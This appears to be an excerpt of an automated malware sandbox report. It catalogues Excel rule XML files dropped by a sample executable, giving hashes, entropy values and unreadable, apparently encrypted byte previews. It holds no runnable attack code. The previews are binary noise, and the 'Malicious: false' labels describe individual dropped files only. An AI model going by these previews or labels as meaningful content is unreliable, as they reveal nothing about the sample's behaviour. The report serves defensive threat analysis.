...0t..zL)N.z.4.-.`.....5L..d._A.......dh2Z\:NE.......o........,\|..G.9.........._.^..Rp.Q...Sf.J&k....bb....Tx..Z...r]...p../.>U!....a4<._nI..a......o...Q..-.c....y...V.\.ld.PM!....,~_.\.R.h.m....9.n...X.)VK..Hc.:S..p........c..#9-m.H....d1.]..9..!F......rF..a.P.0@v...oZ..pLu..M.b.#...\|6...;......N.+T.....;.1.;..s@......Ua..U...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.783555752809786
Encrypted:	false
SSDEEP:	24:w1wLoxEiZzM7c5PBY0BgzYjYX30f7Te3sbD:wMoxEi12StBgzHwAmD
MD5:	B414C868DF45489AD824811FA2F0832C
SHA1:	54E0EA82D68E288B8BBC5562F1A24599C3DF8723
SHA-256:	EEE278D68F989521122F2FDCB20FAC75C4CD8D0AEFBBB5D9F83DDA0AC95D1DC6
SHA-512:	2EA1A90CDE5462D67127A0B00582DEA694F1EBC17F0FD20C086504D6BC0432EEF653E861170EDE9A4FCF53B0B0CD0DE47260E276DEA8EDB9345EA40012A617E2
Malicious:	false
Preview:	<?xml.!.i.....}.A.q#.iI...{\|.].Am.N..6'.................i .....P...4.Kb.El..o=:..f.6......D....W....l.E...h.>.m1.0v<.".f.....N....]1GL.JI.d........m.[_k..@.B..A..K,`.<.....D4..N..n...\P.P..6..P..=.t..Fo..F.P3.).Co......O.f.k..kM...}h..}LL.......c>.k......H..,7o...r..66..."V....va._.6z......Y..q}.E.c...P.#2l.4...p9K0!. ..^Z.s_...N.A+..l.<#..K...+... v..(m...f.q.k....W...]......f.1.....i...~?@...S..w..7.~.$..T....2R.....;.^...g....v..RA"....3.o}KN...<.P..sQ.}'.h..>.=0...[..OaW..N\F.5#.....q?z- .CI~.B=AM.....5 e.}Lo..9K...4...!......&..}.Tg.%3!.4...V.c=.2V..k..'Y..7..0RD...F/.t!l....'..gpDuC;%&..o6o.1.@..d.a...R.-dx.0J......L.....f..w...U..C.....<....pJt...m..V?[-.l..\.e.._i...r0.F.....)g..k`.J.K=L.......8..(GP...9\c..vA$..vy...W.Q0.@..Q.2.....#-.h....._Y;x...R..x.Wb...-z.$.Y........n..:.L.2...'[.s........u.C%....FH..a.]p..a...<n....&..].>..../.6{~jaj^8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.727487300416692
Encrypted:	false
SSDEEP:	12:w0IM79FGQVjaJ7YwHzXd2cbe6vhp0Ao0d7BDOjLif1D8OUDi6rSEbSP0KQscii9a:w0IsFGQIJ84roYeEhp0AjDOXiKCELsbD
MD5:	177390D4551522BA77C6EDDD04999896
SHA1:	641FEA02C0DB2DC83A05BDA8EDB37BA0774408FD
SHA-256:	89128078B8B93342A69108F766A77B4024F13275931EBE41E77CB65B45D2D9DD
SHA-512:	95F243F2A52A7C78AF7FC04438C3B016510746E8CEB4EA8A7CA5D3C5064500AD1E25DCCC870541628EA1A06A3A71D09F9AF0266CBE4C2E3DED581423056FA0E5
Malicious:	false
Preview:	<?xmlP..sr.4P.....".9f.Iz4..q..k.hNy.AB,........vi...K.u.D.R.U%.(.CT..2........cAk.U......y}......(}..BOaJ....Mx(>..`.x[.........m.....p`2..Wl.Lg[..4.Vo.eS..~x$.xn.q..x.vV6..A4rol..i.'xl}."i....-V..O.H..g...Y.....$)i.,.F-.z...`...G+b...y"..dF...<r.uqZm9e...+`.F.H..../w"..-.j0a.5...c.....C..s...Z....>.X......-..0%N..L9..\)..2NzZI.F..+n&.n.6..m..gYh.T...H..{..O......O..CK..j.?p.d{g3.M.I.9.P...9o.:A.tL....5g..x.yZ1..M.....\|$..?.._...Q.ame..d...u...5=`.M.....#.Xx...."J...n..U...p..{2.....l..+Y.....G.y_.j.......z.PUG2...d..o&.m..$..xe.*.RR+....:.(.....0...f.{\|......Vj.)S.^..b.YwCE.n...;.CO.D...i...(....q)..G....&:..........~-.h..R^.=.-%0..G.Qw...{m.;.K..e.HU...X..../..\..&I..N..q..4........F...n......8.A.....%..e.`...!...V8....%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.723772554516049
Encrypted:	false
SSDEEP:	24:D4EGI7wSWShjq4yd3VAb5/ZurofDQWKvvmB0sbD:xGbrE6ZVAb5/ZvfDQn3mB0mD
MD5:	A83ABDA8EADE727B6216675D3032DC1C
SHA1:	6F34A15A64B960513277CF8F3EC611A153D5AECB
SHA-256:	C8285FDBE7A76D05053D1870C4D1CBFF4960B825225592EE37C2258EDCA0AE25
SHA-512:	ABB5DF6006CE9334488EB5AD550CD1834A7312BF49EE6F377F0450478B8EBDC42AF48ED921151D74FEA911E6AC71F093F2240635465D4E56043316438AE1883C
Malicious:	false
Preview:	<?xml....S..o..T....x....iv......Q..'.....`9..L.......~.P.T..u..Fy<....).g........pi.....cZl..O9..S..o.%L$..j>`.d.....M..P..w,qo.TW.47u.!.<....E..H.p.]......1.?...F...n.XJ...y......K..I....ww..7yy..M..(Pvu..8y.....*......+h.8.F.n.{......y....i.v.Y9O.E.i.`.K.?............+[.wD.....oh.WV.q.@...F.@..x....J...p..Hj.....v.E$.t...Q.....]LS..`(\|q..z.2..M...8..j._.k..>......"...Z...3.......\|T...b.E.M;.xrmt.AtBOq.o...9.9YG."q.W.......qo.7....I..+.:..j._..x.V..d...nXc...0!...8t#TH...d..`.A.hp.=.SR...9H...;;.q......H.4x..c.;G.......rk:W..Yz.....\|.!..s..n..q...j....0.....eC...Lum.Q1../..(..7.7)w..+..zD~.T.&,..!..MHm.....<...j.....d...&.....cN.....$D.7Y3<...YPl......:-y+.....Q`g......P..R..0o...nXw{Hj..B....o.%P]..v..30..Y..k.~.Q.YyHS.Uc&-%~N;.!..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.6852077834547305
Encrypted:	false
SSDEEP:	12:SDq8RAL5zLnNvCeJQL2UmIYF2KrL8hzuLKgapuLTWtpe2MXSnuQscii9a:rLt7NvCebJ028hzuLKgBQw2MCfsbD
MD5:	142F82E403AA3B98BD2834F62F448282
SHA1:	563CA19B5738602E27E2863EC4BD2722EBE36501
SHA-256:	8CE0B22FB0A222F36F0BA74B0437DE87F42DB0081A4E761581335C41847E45A2
SHA-512:	195E97ADBF7EA3223F92AC42D0D987E75E550400F47F9EA847AD6FFAD1781067F85B7F27DA71CF83D0D2079CF39C9E675A896777BF32966EF4DB6498FDE743DB
Malicious:	false
Preview:	<?xml(.....km.....8<C...2.r5k2....YO;.....X..U..^&h..C....D1....R.V=2g\|.jt+.'......b..........B.i>q......"D..D.q....?.a......_N..&.q....V$.t....%.2@<@++.<+.........$C.g...U.....f..9.J......(Z.;...&.h.2.V.9'.......nqy..........r...e...73.f.7.e..#Ck$..u.W.(.6. ......z.J...6^..ev...`/).R....'...,F..).@u..BS.2^...p5J...\|..!...'C@....3.y..eF....(..\|.\N..!.y.......D.f!.;d.:v...... as.....B<.......M.....\..G.. C....~..v...P....(.....$.z.dJ....[T.9.?xC..4T.?....\"N....9-A...b..]=..B...G....P.IJ...............c....T...(....E+.*l.Q&Y..$.X@7.S.O3.9...p".g.z..G.#..2.P_...[...+.k..<@.r..[N.r..$...S....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.826613624963121
Encrypted:	false
SSDEEP:	24:zDoVHSQDlzH8G75sLAA5ZcBfATChonRSt0JuWEV/WMX2hwQXVW59ztuYbvsbD:zUVpD1cm5sLAaZyco0acMmhHXVWQYLmD
MD5:	E437113F6D7E1C85CD733A39C68BC1C0
SHA1:	A79458D75C1B75051C6989A3FC56DE2A2B5E5C95
SHA-256:	E2239225DBC46CEF2735C54F6297B0FC68E783811E7404A677D537B7C55924BD
SHA-512:	8E19183C726E5E0C877F275176621BEFB6687557EFD17DFF4A3A597286D97B5B6EB74E839FCD032335D94E69DCFC437BEE5D83995F7AF64DA2E00D00EC5623F8
Malicious:	false
Preview:	<?xml;C.../...`.SU8.".=q0o,..m.H...n.A..y..~.....b.......\|..b.i._..$1l.O)E...JB..?a....x..m...Z..=.....4.`..St..!.:...4.^.G5..9......s...w.!..}..>$....t.K..G...v....-<.R.}...,...!.vmr........}...".....!FD....yKl1...M.'/y..r...=.u.BD........c.#.V...S./A:.@.e..h.:.T.+...3.[...#.......2.+..W.i.B..p.y.^.2.k ...X.-..5.DW^2...1...TQ.;..saKb.Q...-.....ff..\|.w@.w..0.i.......6.1.Q.p...K?.#<.p.Ht....x.-.U1..k.$^:.L.42y2J....=6N..f..z...7>M...p2f..J.........U.+.[.}.U...+E3.W9..z.m..I.......WI.n..&.o....7.a2...xn.[..S......wf.*d...[.o[.C.!..1........Z.{.X.16F...C0i..g.h..=.6..a.sh.t ...............}+...b....Hc.........=a...U.._.(M.^)0W.gw..e...F.A..`.l.%..I...Ry...O..c.PzP:.0./?.j..C.r..p...Y..k.%.......e.=>Z.....5.^.H..s..n-s.>k.......QP=+.0;.k..d..8....vqN^...b.....k..>r..(.....U..pt.P...U1....3.<...\@.-.C..........=...A...m.tB....n=........Y..q.1....Ql.7..d=7.3.sq...9...bX.=&0Z{......6..orq...0..O..bl3.._W....r.z.X../m..L........e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.681746201295938
Encrypted:	false
SSDEEP:	12:L15jNt/F5Iu+i6yF0zSuLBTERp+bh4f+FJ/pUtjxQVH7VQHqEJF9UkNQscii9a:p5ZpDIeF0zSmhmc3UtOmqSDCsbD
MD5:	0E725E9193C0E1D00A83F3B9CC259CD1
SHA1:	C456DE4216509DE4619A42BC59A323710A2971B1
SHA-256:	4640E22D88FC6759794D39ABA6C807D3CDC13751BF12585287D49AD4B3141549
SHA-512:	10C2E9C99CD647C3E86C1ED5A6504CA9F1A53E95621995040B07AE6211C65C702FCD41234A680678972506DE5C844BCFC88E4C300291CACBAE25FE4C89906DB2
Malicious:	false
Preview:	<?xml.Wnyl1..I".O1.e...pN.hG;T..Z._U..y.a.tmH.W.{F\..qL#...p1.3......Ae.T.t..S...=C.Ki.Q..J.\|.h..N[RV.........4...F>PF.3...t..n\|4..F..H..D.....`......u;FIqHh2}qI.).Q............,.......=...w...3M....!9v..#.....-k.J..[......z..z...%.q......n:..xc....w../R.. d....v%o:1.Q.....l...Ng....0.Qf....,..8 .1..S.!bz...".9.&...c.e.....(._...n.....$-PR......D....uD...}1.D..f.6.Y^..l.._C....\|...u%...6.S..'..v.gb...\|.6.n}.)O.?'.P..{w\|....fKL.p..o.S.I...&....Z....3......P..1.....;..pf...>M...x......qZ..3)......H...{...C0.\|.Y..569..6q.p./......@.%.....(..6.....~...4.B.......I/..cH...[.v..7..11...K.."......}KF.@..Eh...D.....58Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.717372670201956
Encrypted:	false
SSDEEP:	12:f7/rBBmtv8wGE7FXxesry3odke2tfl/xEV1DDpFtsV9dteVurGd3Ng3xH92RiNQ+:DTB81bVxeOdkBhlWfxoV9dteVu6d3+xT
MD5:	63AF1D54DD62E6E44E30BD7E86A74714
SHA1:	FB157656B8750C649DB11DB2FFDF0D35B66E6DDD
SHA-256:	EB19E8B13596332319BA3C0501B0E0BA676C8560F854ED0A499A366518287863
SHA-512:	3FADD88BDCE89632BB6E28BDD6C4621AE6EB4FF7F15327DAA08F37B44EDBAB09A2CFF5C83BD84B7D6872807C7DE73177DFB8B028E25AD4F58F2EE2245E18E2BF
Malicious:	false
Preview:	<?xmlBxl.!.S7.v7..~.)?...3...y.\..j"i-Q.u..y]N.Z...M.o_.v.rR%....3..\.Hq._$...../._.......>z .sD^.....Fw...C.....9...@#.~.....g.!......%E....$QL..s..?.r....T.... R..7O....?....5).#s........G..6@..zAo.,....7.7.v...a...CH....a,.v.QX.U'.<.wi.....\|.'.......?.U.z...PF..G>.'W4[.....=.9...V..j..H.Ao.0z6.0c....#.Dg..lA.i...[..X;.L\|...\}..;...=..}Nv..5..MY.C.A..)z..8..T#..n.7@w.`..t..B.u...}..VfNG{ .9...a. ....O/ s.3.;.%R.a.K..+.\|!v.mZ...V.x8.....Z\..,H..O..l.....kFK.%\|....".wSd..CB#>RZHR:v...6i..UP.._Y......Vd.P.9{Q....z..))...3+...2 .I..4.=....E8.....g..c.f,5....i>.4.....s....6......../kF..Pt...Y].}y=...5..H.+.t..D.0eDT..6:...r<.o..v...F....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.7300848032944955
Encrypted:	false
SSDEEP:	12:SdXxZok1JNRLAryKrH7IZL4gdufbza7PddIkYfwsPI1/5Uj/tTqUAGbBXtU5OgKR:Ch1TRm0B4gYKc7o++NU/laLsbD
MD5:	9692763E4FC125351A0DC35B50886C36
SHA1:	7E3BB27D386FE719169D76D4FF8F12CD1BFC0FB5
SHA-256:	929DEC3934E0C7AA9862D50427032F399A46911F548CECE0EFA468003C1B9982
SHA-512:	CB1F7EE5EB367E4CF65E8EDA210438B032FBCD3C27E964456D11FCE4081DCCA497AE580B17DCA4203646CBCAEBBC9C8A21FABFFCC1C4AB50A3C97E631A259AA3
Malicious:	false
Preview:	<?xml{.J;[}\.../J.k.....?%......JM......../.n..........O.A6u..".1.R....(..J.F..T...~#q;.,f..z......&...x.....6...c.\{........X4.w.`Q..[..f...m4.....h_...,....A.u...xJ~...9..\.$...4&HH.}..".#r.....=.?....f.Z.....;...C\q.)9...0.wJ.@.(..U..../br.l.o..FJJ.+[..}P.B..J.Jd,.........gF..6k\.T......P....&.U<O....Y..S...^4'V..bT.f.~n.x%.....2P...l...j.....E.V.]...@.........B.vo^.f<.....#..xC..7.:..C9.._..h..\N..6..,..-.vO.~O..w.]._.C...........6..](H..>...B.+:1..e....._..:....T.Z.O....d.U.y.A^.;..&.#........hZ.n..f.s.f.......g...=._"..........m.* ....@....../)y.....C.iHR..:ej....._.J}.....Yd....d..g,.R.+H..\|]...........e...^.].....n.v-).Y.Pf....?..3P...1J.^....,.Wpn..5...j...+.....7-1.. E..A&...-\.p.c..e)._Q:..B(..........<~\.=..h8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.732800871894097
Encrypted:	false
SSDEEP:	24:Ufe/p5ewwm+L6YhyF8Qinv9K7UzE3D17858+ZcEHsUysF97IHMsbD:KocbhyF83wjD1o58mcEHsUd9dmD
MD5:	FFE00CB92C22026D26063EE3298BDA0D
SHA1:	02B86D8832D60B39B4D0B18E76E7626275C03E2D
SHA-256:	F7B45D6E00671DE477843AA7A90390ACCD2CD91DD575BE975CE7603FCD29A235
SHA-512:	7B8A9512CCAE8966F082D3DCC7112DD7491E7052310B64ADB07564915A7FE74C9690D91D18B210A644C8E67108D97F9CC2692F659D49EB4A54B7FB24666CCBC0
Malicious:	false
Preview:	<?xmlc....6fU.F....@..ar...c_.a....w...qW.>[..$.[..Du.H.....M....c.[.@..c.`.B.......&,6....w^t.V@%.JC.9.#...A.g.1+..6...+....V....0.i8....3{a.. N.NU.6,...3k.^_.%. ...v....dD.'...a..O.....7...+....zn...k.g....L.`....1A.P.`..r.........`hS.P.h.~...:b..}S.....17,..c.Y+..,B..87....,....C.z..t..R.l..l..?+...e.kal.............iY...k....\.0...<M.............eu.....;M....1........m....c...A..=..S.>....j....H4T....+v%6.q...]....r..@...m..NOS.`x..-..i....[..=H!#...".]e._.%9....K.r..#z.pz.bd1.rY3..&..........)...b..;....2..a..@.@....%.2.....^.....R.3..o........zk.... .^.......c........X...3..z~t.,K.o.F.XF-2e.).ev..?^..v."&un.........vfb\...o..=(....]O.8E...*.-.w.....1...m...KC.xC`......o..'.."_...}+#Z.....bb9..N.......g.5..5\9.?.{..l.#.z}..f...B%.......0.t.l.$.W.T}..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.781772263629035
Encrypted:	false
SSDEEP:	24:w1mdH1zzrQ9lu72WuGNQwKeH4kDFSdedvBs7Ra1sbD:lH1zz6u72WQZm4HdCtmD
MD5:	950D013BD2EF5E61E77338D221027980
SHA1:	621AA4CB7B056D9AC69076B221732A9097434828
SHA-256:	37B6F84DA69C7DA25CD1A016A8006C62A1C4F1F8C560F080D079B91682F304EE
SHA-512:	125D87580E4A2B5134F9BAC0A33BCE8DF8FAC15F3CB00573865C0AB659AB5E707C01E4937AC0AB31650658BBBA8FE0D7D2249883553A6D2CAB457ECF7B81F757
Malicious:	false
Preview:	<?xml.1L].:"O.i.%P..w.........O.z1.?.C.:A.IJ"+0.i.....!.-Y]L.'.f......-M3..!....Gb..G.at.= D...............6l..5xF.....Y..N..OjU. ".....;...I......x..mA.`.\0..Y.>.y._...EY..="`-n4.3.{.Q...lp...k.ukq..yT~..l...r[(X......2....n:`8.3W....m..'g..h.."..e..Q...R.!#.U.iOB..`.Z...2....75Mf"....M...=..4..f..t.d\......71 H.C.......W.f[y.J....z.;V....ZIG....c[B...t......c..E....a...}R...E.....#.H.UWH.iq=...dp..&...f...^.....nA!B.....@.....K.+.O.#.n...CV...P.O.......E... 0&v+\G,.I.l.vqs..C\|.,....rv.&...r..3......qN..V8.~...;.K.{.X....X......:\|.......%....^.(~fk.K...Y...?bf?...=&.-..t......].qx^6p..V.iz.t...e......!YD.T...%.\|2.x..l.4...E.J..@..^...\|.(G.@..>-.+..#.U.....P..X^W.....\|E...HaP6aD....x%..>@.s...u..A.....6.i)...../.6.h..b.....$...z3......m..5.58_.I.....k.....D......'.I-9qa..`w..L:&..m.....7}.[.....mR'...1Z..O...u.^.>{.-6.0T)r...%>FW..l_..JF.f./n.zR;V`..........1.a...j.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.672302093659458
Encrypted:	false
SSDEEP:	12:ksf5MTig1r2A3xfB6aAbJQ1zYo1J5w4Yvp7MpNRy7pFaYS6NHBrOPjqSpNlQsciD:/f5MFr2+xfBubJirwfQpaVFttHBrOPj/
MD5:	F4427F1778C6C635E5D0FE169332B722
SHA1:	9BE64DA361002B082C908DCAE3E7BD61533CD29A
SHA-256:	102317EDA5073EF1D788DF1AF19C49D1C18E925F0469F1D8EA495474A95937C9
SHA-512:	A8F623451EA4618157B40310F5626683D2F2259D4AEA105C7A471E59F92E66C12A2C9D379B0220767E81E3A8DC029F207901B564EDF66EF45DF34D8A42CE0E2D
Malicious:	false
Preview:	<?xmlY.6......]k.....@..........-..b2....k..."\|....pC.S%./7.=.p...?...Q..\|1.E.T..._0"H.8Tvb..^(.8.w....g.%o...Zl....D..... C....f-....srk.f.~.....[.%......r.]b......ReT..........k.Y........[.Z.8,...b..........#zWN.%...#(..]...G.....g_"U..#.oTg......v.z...aW...#.-.....I.i^.#.U..;..p.~[..ydB+..]yRg..[;.@q......t....$.......u<...i./#........E^....}..%.!.jkM...7.p..K.=........d....m........Z..3.:....$7.......3..{...0..t0..K+..o.@.~.....%da..mf.;&. .......e.".`..HxCb..M\|.CPA.@.f%].3...w=.K......l.....8.E.nuv..(.B.....).....w/....bPn..\|.[b.y..aQ.........D..k.0...L..n.!\..&].....Qm.Ct.b....].%.g..Y...38Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.779890853224273
Encrypted:	false
SSDEEP:	24:TDIrAFLJ39wHjGbpnY7IVOqeXr3xdsJfWiym0sbD:TDsAFLMjGnAIMLYJvyLmD
MD5:	9B17A49B138147584D0B9B76F4D6371A
SHA1:	CB59A8B8146C89696C8A3AE099367E8949E36F47
SHA-256:	6C3F25E7F4F7575D3CFCAA89C0F0D6AD4AE16DFD23D6712DA5242E629905FB36
SHA-512:	584934BF22F8ABF3BCFBA9BA4AFB32C07AE98BDDBEE18183FE8BCAF11B24BE6848B40763F3497212589BE119E5E67D7DD592F28BA8B2892F0CD06D2EF0582578
Malicious:	false
Preview:	<?xmlk.)2l.z!h.....4....^....^.....H..R).9....s<..Q.W.R.s/.`...J8. S.4.g.-!x9.4.{.b...L..$.R..........B........2...0..~.....e.#VV...jJ.I.R.$...?+...P\.0.Y..=....r.9......mk.....n-..@..F.G.wY.}a...k]?N.c.I..b0......[tL...6.h.y7..z..:...@.R$...%.>.....r%B&....0.ay)i..}.T.F....p.e..&\O...c......Z.<..X.{.\|..2..{XHsP...u...f.....Y.h.'%S..p...Kb.yo.6..r../Dp....[y..m?2..k#.s..U..z....o......1....1..........1..Ne(.P..`.z...Q`D.@...`.....FfP...T.M....&.}2....;Qv:...}.T`....6...+@.=..Kc.X...,.I.c.^.W.G.4..X>...'.T......a.Y...l\1EJCHC.Ub,....xA..=.s{.S...:.........Q.'..'5}..c....d5......v<i....h....N..HqgQw......l....p.7...S....N.]....{I:.A...NK.A.&U.{...,...c..~.'..b....Z%.?k!......M....P..P..0a[6.J\|.j}O.1$.........DD.Y5.H[C......C..}9...){sax..gE....RP.jX.....&....$..-.W;....\|..........v....A.Z.j....qg.k.!.......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.7696055964994555
Encrypted:	false
SSDEEP:	24:zmI9Ev2GqGww1HiISRn7RAVaGWLvPdEu5eJsbD:X9SgeHiVn1glelElmD
MD5:	0AA31AB9AB8C96297A29A09D41241E0E
SHA1:	D43C055B7910EF8388F1440B30D88CCB7DFEFA4C
SHA-256:	99A69C2ED51B530FB87A4044B2E5521AE29A54A2E91BFD6DCBA8B056713E32A7
SHA-512:	1122E0B9F6735B96EEA1E0E3FD9EEDF0DECEB499A1AC23E98BD2036284CD37A4F644282A1A04E2A56F5CA2BE3E0C65FE0DF70851B5F30604566E34BC90131D7B
Malicious:	false
Preview:	<?xml.).L....q+...ng0.....DG..._.5.d.3.....`2^2.x...)`...t.u.db..LD.,...yW.4...uN.._..[.........}.Q...J.\|.Y..........(M..oq3...cit.(i."K<Q$....P.....s.$.....ZY_GC.bo.~\|..FA...=....x2_..Pv.X.I]^.\....Mo.A6k....dI..a...q....\|.76s..o/.w......H...-.f0e......(...."QAx.UP-.Lpq/^.S.:.....Z...7.......$..>.u.o...3....9..y..W.W....U~sVP.).Z..N.&.6kT...U.B...3x&.......K.<Z.QZK'.-+.._...............cs...Hri...x.f.}mX....".".h...O.-m...`\.L ...U..9;.\\|.N=.......1.g&r..K%a....[..i....Ng...K...&.w`.5>.aY...E....h..l6f.............`R.A.X......l.D...@...F..y-.... Kr....c....1m..6..1.....D....W))...P3R.".]....?.........Rzug..l..y..V.(<iH2....)7~... ......A...k...<~{e..:..E..f.Kqn..s...x9b.z........U:"... .....A.v.7{..x..of..........0K@.P(.]./.K....rR..Q..".0....$sw..9 ...3..u...8.B.%..B....=\|z..I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.823973928203139
Encrypted:	false
SSDEEP:	24:ZI0/AZ1d5KAbVBcINlhx+yPEqNinsGU3AsWN7cBGEjZrD68ApOnLb0sbD:zq1fDb7lleysyWN7Utm8zP0mD
MD5:	C9B54817E910B29158088BC3A7C2E36F
SHA1:	15B7F551B8FDE2F16D6D97F66E4B25E45B44350A
SHA-256:	A6F4A560299AF5132D2000B99A23587CAD476527D1AD78A86C589AC7DD8654B0
SHA-512:	7AEBA4A893B9C46B4D8F61DEE650704D56641C9846F6E096CE3B1AC1F8471E9A3B8A50163CE7ED13F40B6FF07D8EDA21AE98B884647ECA8280E94B1CFF059BEC
Malicious:	false
Preview:	<?xml.Z...(J.....N.{y.3D.....:x!.d...:M.a.....n/}..S.7./..oR........bFu....iE...).<....p....../......X4.].cV.Y05/..H..i.R....J......f@..^...}..5./....B..q....qc.........7t.uQ.=........X.Mh7..+yj......p...g......P.<S...4..+M........NBZY.V..4...5.f.....^..$..GWXw...\|.."..t..).^.?.#O~'...._.pQK.z....H.=....k.?`.+TV.."8..\|.}...K..c<..t..o!...H../g/.#.i.].K.]....M......v....i...X...va.}...g..>.4...3.:%=..=.T.-.f=>..s.h...$hG.."...M..P..H...4.P...Z_....F.X9.:.i.XEZ.xL..Xr .F.5U.o<....T..k."y..K.a.-......6.....ZJ.E.:..=.uX......a.......>G..B.#...].J......-M..A.......m.2.2..c..).9.M.~...8.^qj...2.E.8.q..~."..../'...H..d.'.v.@c.0"mB.....egA..........z._.q...$._..R..&.....C.W..Bs`.{........v.`..z ......X...8i/.g%...f.....n8.j../.....t:z...U.....i.c.....>{.4...i..~2....t....HapJ.,.'XP..[K.{.4.............w(.:.P&P..X%o..#.ZW.?...p1.gL".p.p.%.X.CUQj%N..6H.......U.#..D....s7.y.X....t...%%?..e.xF.............3.&......3./....sJ..x...".'.8....o..3.P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.674099760186521
Encrypted:	false
SSDEEP:	12:phUv0hrOzrIO7JuJX5nT2VONa2wzQ+AU3FLFvc+5ldki9WvQm1LmjF4QuUQsciik:IsZOzpeN1N4QEJbzdWVAF4HsbD
MD5:	49F7E1AEBCC1E462D45F91183B8BD2A6
SHA1:	C6882FF5C15EC950C92F4F1375A7C806B100A979
SHA-256:	2B9D3682D11A1D22157500A9B71B6005B144DA41A1E0AF155D7EFCB7030B1E2C
SHA-512:	9EEDCA5AEF79D4E3E2BBFB36601F8EBE32DBF496AB63F8234EE5021C8CE8025AFF3CD78AB5372CE0EEC8C2C63FA10C665661D50672152B173DB3E78FF4B2354D
Malicious:	false
